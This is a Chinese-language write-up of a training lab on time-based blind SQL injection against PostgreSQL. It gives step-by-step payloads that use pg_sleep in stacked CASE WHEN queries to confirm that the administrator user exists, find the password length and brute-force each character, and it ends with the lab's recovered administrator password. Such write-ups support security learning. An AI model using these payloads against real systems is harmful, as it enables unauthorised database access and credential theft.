# Web SQL injection Lab15 題目敘述可知這題是時間盲注 + 資料爆破版,透過延遲回應時間,逐一猜出: - administrator 的密碼長度 - 每個位置的字元內容 --- 一樣先進入網站並攔截請求。   根據上題的經驗,我們先試一次延遲再來結合查詢語法。 ``` ' ||pg_sleep(10)-- ```  一樣跑了 20 多秒,確定延遲有效之後,結合我們之前學習我們之前學習的盲注技巧,老樣子是找使用者存不存在。 ``` '%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- ``` - 如果資料庫延遲 10 秒 → 表示條件為真 - 如果資料庫立即回應 → 表示條件為假 :::info ### 為什麼這裡要加 %3B(;)? 因為後面多一個新的查詢語句,所以加個;,用 URL 編碼則是因為直接打會出事。 :::  跑了一萬多毫秒,顯然是成功延遲了,所以可以開始猜密碼長度跟密碼內容。 ``` '%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- ``` - 如果資料庫延遲 10 秒 → 表示條件為真 - 如果資料庫立即回應 → 表示條件為假  一樣是 20 位,所以一樣爆破每一位密碼內容拿去登入。  ``` TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- ``` - 如果資料庫延遲 10 秒 → 表示條件為真 - 如果資料庫立即回應 → 表示條件為假  拿到帳密: `administrator:g1xi5mbyn6wrwjuz5xc8`  ---
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up